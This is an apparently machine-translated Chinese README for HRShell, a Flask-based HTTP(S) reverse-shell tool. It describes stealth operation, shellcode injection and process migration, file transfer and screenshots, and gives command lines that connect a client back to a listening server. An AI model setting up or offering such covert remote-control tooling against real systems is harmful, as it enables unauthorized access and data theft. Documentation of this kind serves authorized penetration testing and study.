HRShell:Flask构建的HTTPS、HTTP反向Shell

 

HRShell:Flask构建的HTTPS、HTTP反向Shell_第1张图片

HRShell:使用Flask构建的高级HTTP(S)反向Shell

 

HRShell是一个用烧瓶构建的HTTPS / HTTP反向shell。它与python 2.x / 3.x兼容,并已成功测试:

  •  Linux ubuntu 18.04 LTS macOS Mojave
  •  Windows 7/10

? 特征

  • 这是隐秘的
  • TLS支持?
    • 使用即时证书或
    • 通过指定证书/密钥对(更多详细信息如下......
  • 客户端的代理支持。
  • 目录导航(cd命令和变体)。
  • download/upload/screenshot 命令可用。
  • shellcode注入 ?(当时它仅适用于Windows x86系统
    • 通过指定其PID,将shellcode注入另一个进程
    • 或当前运行过程中的shellcode注入
  • 支持Pipelining(|)和链式命令(;
  • 支持每个非交互式(如gdb,top etc ...)命令
  • 服务器支持HTTP和HTTPS。
  • 它配有两个内置服务器 ?到目前为止... 烧瓶内置龙卷风-WSGI,同时它也兼容其他生产服务器,如gunicornNginx
  • 这两个server.pyclient.py容易扩展。
  • 由于大多数功能来自服务器的端点设计,因此使用任何其他语言编写客户端非常容易,例如java,GO等...

细节


TLS ?

服务器端: 除非--http指定了选项,否则默认情况下server.py是使用即时证书的HTTPS ,因为即时证书是内置的烧瓶功能。但是,如果-s tornado指定了选项以使服务器使用TLS,则必须指定a --cert和a --key选项,如下所示:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

可以使用“真实”证书或生成证书/密钥对的其他方式是使用openssl,如下所示:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

证书/密钥对也可以与flask-server一起使用:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️如果服务器使用TLS,那么设计客户端不能使用http://...连接到服务器,但必须明确使用https

客户端: 默认情况下,客户端的SSL验证被禁用,除非:

  • 要么--cert指定参数,例如:
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • 或者使用有效证书预先设置CERT变量而不是默认None值,例如:
    CERT  =  “” “
     ----- BEGIN CERTIFICATE ----- 
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV 
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD 
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa 
    ... 
    ----- END CERTIFICATE ----- 
    ”“”
    在这种情况下,client.py将尝试动态创建隐藏的.cert.pem文件,并将使用它。

可用命令:

特殊命令:

upload : uploads a file to the client
download : downloads a file from the client
screenshot: downloads a screenshot from the client and then deletes it
migrate : attempts to inject shellcode on the process with the specific PID
inject shellcode: injects shellcode into current process
clear: clears the screen (it's the same for both unix and windows systems)
exit: closes the connection with the client

如果它不是交互式的,例如gdb,top等,则支持任何其他命令...也可以通过键入python server.py -hpython client.py -h获取服务器和客户端可用参数的信息。

注意:如果客户端与服务器连接并且我们想要终止服务器,则在按CTRL+ 之前C,我们必须使用该exit命令关闭连接。

Shellcode注入

⚠️ 目前,shellcode注入只能在x86 windows系统中执行。

 

笔记

  • 注入工作的基本先决条件是shellcode在client.py上将变量设置为有效的shellcode。
  • 如果注入发生在进程上,则进程权限起着非常重要的作用。由于缺乏适当的权限,并不总是可以注入任何进程。
  • 当注入发生在当前进程(实际上是client.py)时,如果注入成功,HTTP(S)可能会挂起。如果注入引用另一个进程(迁移),则不会发生这种情况。

创建自定义命令

客户端:

为了创建自定义命令,通常:

  • 必须在客户端定义描述该命令的正则表达式规则
  • 处理该命令的代码也必须作为elif语句添加到客户端。

服务器端:

如果命令要求在服务器端存在新端点,则:

  • 定义端点:
    @ app.route(' / custom_endpoint /  ')
     def  custom_endpoint(arg):
         “”“
         如果需要文档
    ”“” ... 返回...    
        
         
  • 然后编辑handleGET()以将客户端重定向到该端点:
    @ app.route(' / ')
     def  handleGET():
         ... 
        return redirect(url_for(' custom_endpoint ',
             arg = ...)
            )
  • 进行适当的编辑handlePOST()以处理结果的呈现。

脚本参数

两个脚本(server.pyclient.py)都可以通过参数自定义:

server.py

$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

要求:

注意:要安装服务器要求:

pip install -r requirements.txt --upgrade --user

 

去做

  •  添加更多命令和功能。
  •  修复潜在的错误。

? 贡献和反馈

欢迎提供反馈和贡献。如果您发现任何错误或有功能请求,请随时打开问题,一旦我查看它,我会尝试解决它。

放弃

此工具仅用于测试和学术目的,并且只能在已经给予严格同意的情况下使用。不要将它用于非法目的!最终用户有责任遵守所有适用的地方,州和联邦法律。开发人员不承担任何责任,也不对此工具和软件造成的任何误用或损坏负责。

积分

  • HRShell徽标由fontmeme.com制作!

执照

该项目根据GPLv3许可证授权 - 有关详细信息,请参阅LICENSE文件。

你可能感兴趣的:(HRShell:Flask构建的HTTPS、HTTP反向Shell)